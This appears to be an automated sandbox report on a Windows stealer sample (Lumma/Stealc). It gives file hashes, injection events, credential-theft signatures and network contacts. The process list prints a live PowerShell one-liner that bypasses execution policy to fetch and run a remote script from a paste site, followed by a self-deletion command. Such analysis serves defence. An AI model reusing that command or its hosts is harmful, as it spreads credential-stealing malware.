\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationFramework-SystemXml.dll

MD5	820d6ed8a95a51e4520d0c5813e5aa35
SHA1	0d96b3b8f79a1cba5c956155bd016a94ea289cb9
SHA256	eb4c8f07265693212a5acdfc902cc6ef675c9738ea707701b46922ac54ec0778
SHA512	7fd15e68a3d93feb13bc74cc2edb3ed144d15a6c7b85328f5ef6991a0fb9fb8aeee3cd4d493b7990aa09b6d80b83f72b8dded7224b0b832e276864289ab7e9a3

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Http.dll

MD5	fa586f33b3581c997c8cb7757e5556df
SHA1	a2528e45c17cc7f070136405acd9f5ee8e2e0580
SHA256	60d40237fc5d7af311dbf21c4c86493e60f18a289a3113dcdb6de68dc0a6ff04
SHA512	36c01636609a1d35c034b0e796844281bedee26310d0a8a7398b82c4a5332de45f9ad382ea67a748dd9e3ad6ae268d2e28d86805232e6610971ce80e1a2bfef7

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Diagnostics.DiagnosticSource.d

MD5	ee6e3ade8650568a19d1e1b1f5108c34
SHA1	40b46977180e082a2073229c87e694c7e11a904c
SHA256	10f4560b096958c25ddad2b7126367f79bdca082b3c9775af672162eb4c8ef9a
SHA512	bf2bdf2af23a4a1a8935bb7a4939014ebd34816425aaa7ef752f60260e840193011e46f1bb0a63765ff2bdd14ad37577f3aaf66d41a909c13f727b286e8593f0

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Security.Cryptography.X509Cert

MD5	b28c8addee766aa17c7c6c3e4a98117e
SHA1	9ebd3b2d9ad8a0d156112e6608af160d1516c012
SHA256	8c7d184a5ad0ef477b3765ab1f05b2f87be9e6ae5a5d650ed0ec7b9f1f891147
SHA512	2f50bf48c5bac671954b31197b8059c312f84eafc56f5d8051e866dac59b31a99b99da1bf1a24070ea06537e2cd2baadce274e2267bf06e9da2e65b8465998da

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Security.dll

MD5	59e1a71263dab0410d727476f2da1c6e
SHA1	c01afeb22da57e74eb6a9c0866d2b00fa5683e42
SHA256	66eb074e04c93c64a15ac18800701eae3cf6d02851b4d4d4e8ea66de13d63957
SHA512	6be8e5f63f17e9203d6a533467e70d1a8faeb442af026ffbe072998296ea5cc41b54fb067b83c3acf5d44b2f1a75f636956caa2a0a6d9ffbb7ce56641a989725

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.ServicePoint.dll

MD5	92f0128e98b3872b1bae8ccaa8b7b52d
SHA1	5313863da3fb15592419426fdfc4576c58ae4fa0
SHA256	a00d1397277df1ca542d09a3b432358ad5e641900ec323982502de41beb631b6
SHA512	2d6c72a4c87a9d9cf0785cbe0f6e050533c3c60b2ae426e96023ffc3409865a2352598f45ea8940a301d5de97f0b0bc5a8de4cd2556a41e6dd967f3c26e5ebd5

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.NameResolution.dll

MD5	cbdc4d2f59df7b932af04835f0d77654
SHA1	4e268e11b31bce1bff7ba6c3911ce0dd32a72026
SHA256	9c9b4334183bed74c5ed6f043f421317a630714d18545f880b09549fbb4d7e1e
SHA512	9f15f4443d7b376c814788a3de40fffc8d6941649e90a17530d151c9fa3e3786749683e575399b898966c7df3e9dfbeaa88a22ddb1eeade02a8e00403dc073f8

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Sockets.dll

MD5	941426c6c1b701f28bec860f34240c30
SHA1	0e1a96e0729306dd3f7cbcf4d97259a43f3083e7
SHA256	762b83ccccb1b4141db6ec472146ad44a6a4dbf8f9ebf017c30b1343d06918a7
SHA512	cc6984bf2ee7646917f4ed83354e91d6e3d626ee325db475c71e57c98c76f2522a348fd264e2928a7258a1936d1c4bbfacfc50f580be8d31e9914a46e084c3ce

memory/2052-566-0x0000000001CD0000-0x0000000001CDA000-memory.dmp

memory/1928-572-0x000007FEEE55E000-0x000007FEEE55F000-memory.dmp

memory/1928-573-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

memory/1928-575-0x000007FEEE2A0000-0x000007FEEEC3D000-memory.dmp

memory/1928-574-0x0000000002510000-0x0000000002518000-memory.dmp

memory/1928-576-0x000007FEEE2A0000-0x000007FEEEC3D000-memory.dmp

memory/1928-577-0x000007FEEE2A0000-0x000007FEEEC3D000-memory.dmp

memory/1928-578-0x000007FEEE2A0000-0x000007FEEEC3D000-memory.dmp

memory/1928-579-0x000007FEEE55E000-0x000007FEEE55F000-memory.dmp

memory/1928-580-0x000007FEEE2A0000-0x000007FEEEC3D000-memory.dmp

Part 5. Analysis: behavioral2

5. 1. Detonation Overview

Submitted	Reported	Platform	Max time kernel	Max time network
2024-09-17 05:39	2024-09-17 05:49	win10v2004-20240802-en	291s	320s

5. 2. Command Line

```
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
```

5. 3. Signatures

Lumma Stealer, LummaC

lumma stealer

Stealc

stealc stealer

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Downloads MZ/PE file

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
N/A	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Indicator Removal: File Deletion

defense_evasion

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 1388 set thread context of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 set thread context of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 set thread context of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System Location Discovery: System Language Discovery

discovery

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Windows\SysWOW64\cmd.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
N/A	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
N/A	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
N/A	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4020 wrote to memory of 3856	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4020 wrote to memory of 3856	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4020 wrote to memory of 1388	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe
PID 4020 wrote to memory of 1388	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe
PID 4020 wrote to memory of 1388	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe

Description	Indicator	Process	Target
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1388 wrote to memory of 2520	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4020 wrote to memory of 2220	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe
PID 4020 wrote to memory of 2220	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe
PID 4020 wrote to memory of 2220	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2220 wrote to memory of 2848	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4020 wrote to memory of 4992	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe
PID 4020 wrote to memory of 4992	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe
PID 4020 wrote to memory of 4992	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Description	Indicator	Process	Target
PID 4992 wrote to memory of 2796	N/A	C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 2796 wrote to memory of 1816	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1816	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1816	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 532	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	C:\Windows\SysWOW64\cmd.exe
PID 2796 wrote to memory of 532	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	C:\Windows\SysWOW64\cmd.exe
PID 2796 wrote to memory of 532	N/A	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	C:\Windows\SysWOW64\cmd.exe

5. 4. Processes

C:\Users\Admin\AppData\Local\Temp\Launcher.exe

```
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
```

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

```
"powershell.exe"
```

C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe

```
"C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe"
```

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

```
"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
```

C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe

```
"C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe"
```

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

```
"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
```

C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe

```
"C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe"
```

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

```
"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
```

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

```
powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI
"https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
```

C:\Windows\SysWOW64\cmd.exe

```
cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
```

5. 5. Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	209.205.72.20.in-addr.arpa	udp
US	8.8.8.8:53	73.144.22.2.in-addr.arpa	udp
US	8.8.8.8:53	73.31.126.40.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	xilloolli.com	udp
US	104.21.9.210:80	xilloolli.com	tcp
US	8.8.8.8:53	210.9.21.104.in-addr.arpa	udp
US	8.8.8.8:53	58.55.71.13.in-addr.arpa	udp
US	8.8.8.8:53	86.23.85.13.in-addr.arpa	udp
US	8.8.8.8:53	171.39.242.20.in-addr.arpa	udp
US	8.8.8.8:53	232.135.221.88.in-addr.arpa	udp
US	8.8.8.8:53	140.32.126.40.in-addr.arpa	udp

US	8.8.8.8:53	ipad-mate.com	udp
FI	95.216.241.251:443	ipad-mate.com	tcp
US	8.8.8.8:53	251.241.216.95.in-addr.arpa	udp
US	8.8.8.8:53	samledwwekspzxp.shop	udp
US	172.67.189.34:443	samledwwekspzxp.shop	tcp
US	8.8.8.8:53	preachstrwnwjw.shop	udp
US	8.8.8.8:53	complainnykso.shop	udp
US	8.8.8.8:53	basedsymsotp.shop	udp
US	8.8.8.8:53	charistmatwio.shop	udp
US	8.8.8.8:53	grassemenwji.shop	udp
US	8.8.8.8:53	ignoracndwko.shop	udp
US	8.8.8.8:53	stitchmiscpaew.shop	udp
US	8.8.8.8:53	commisionipwn.shop	udp
US	8.8.8.8:53	34.189.67.172.in-addr.arpa	udp
US	8.8.8.8:53	steamcommunity.com	udp
GB	104.82.131.75:443	steamcommunity.com	tcp
US	8.8.8.8:53	tenntysjuxmz.shop	udp
US	8.8.8.8:53	75.131.82.104.in-addr.arpa	udp
US	8.8.8.8:53	23.236.111.52.in-addr.arpa	udp
ES	95.182.96.50:80	95.182.96.50	tcp
US	8.8.8.8:53	50.96.182.95.in-addr.arpa	udp
US	8.8.8.8:53	pst.innomi.net	udp
CA	149.56.19.201:443	pst.innomi.net	tcp
US	8.8.8.8:53	209.143.182.52.in-addr.arpa	udp

5. 6. Files

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Private.CoreLib.dll

MD5	6dbad223dbfbfa51c8a181d011d8fe38
SHA1	063ac8af53e169bc3350fd5c7dbce900d30d1d24
SHA256	1dacec838cec88c43b929d4d4f25fc57d653076eb5554f441525b8940dc6d5b4
SHA512	30dc8627cee7a85d0d48fcc0d6ac8e2929fd90c973e9e7fbba0ee9dabc6e1ac98b1b93a0100848874f410c08bc681bda1f45dbad1959696a0e7336bc858e89ff

memory/4020-454-0x00007FF69D46F000-0x00007FF69D470000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\WPFCalculate.dll

MD5	447eb5567bc8420383615a768dfdbd63
SHA1	060ba514cfdd34101f27daee4e2ea66a7d8c866d
SHA256	5771f43710d6b2c7a829036c886b098804264e7109e865b0a452c99365565494
SHA512	fd51fe8c9043aa92eb3907d6b612f5d464d3f3bd75aace3c63ffcb60ceca06ab867e42ae08fb35907bc1f935c970550f7278bb3db71bd725c301bae1fd6f01bf

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationFramework.dll

MD5	16a58c122f252ef45fc5c978ad2df76c
SHA1	3ea579d718db1773f52ec3a7fbfa6e400814f828
SHA256	5c19b4a1bc7cf90647cb791cc73424af8017b60df72cb013d8a0dcc3de380222
SHA512	d2b322e1e657aac8d4d8c7e3fb1f5a167b587f3a5c654878e8fd4e7e474cc6610bb0651bae4c041b5f89226b116e221df073cb9fa35cba27ec601180202147f5

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\WindowsBase.dll

MD5	75eced36e5f3369a554bde0c58a79a43
SHA1	01318560ba243e9eed46a0de7a73685f422e8b59
SHA256	3f595d2084d12420098ee214d84a227becbb9b7cef86debec1658e7c57b60073
SHA512	5a94122a144a467e6e136f12a00b94f70fbbe78a9eaab9c4f0d8d38dcf1dcd4c3e7bdcf417e55c3d3b74ae14d93a832056861956eee82eee29a5e0845fac7bb9

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Xaml.dll

MD5	fb1edbbc00baa9686d540bd028bb88e5
SHA1	5ee1794790a788283894e2453bc8ea185d684683
SHA256	cc4265de9e9d55f396bf54937f297a13c25b2c96eb70e920602f5fdfaffe5930
SHA512	302a714da81d048f12c563e44fc1efee6ebe8b367270ec4ce7a9a3caee51dc46c1333ff9212f048c53bc0f8757b3e79cbb25e6e79177f8efec00715df974742b

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.Concurrent.dll

MD5	0bb7e6bb23a28b9ac2c6a2c340db2e08
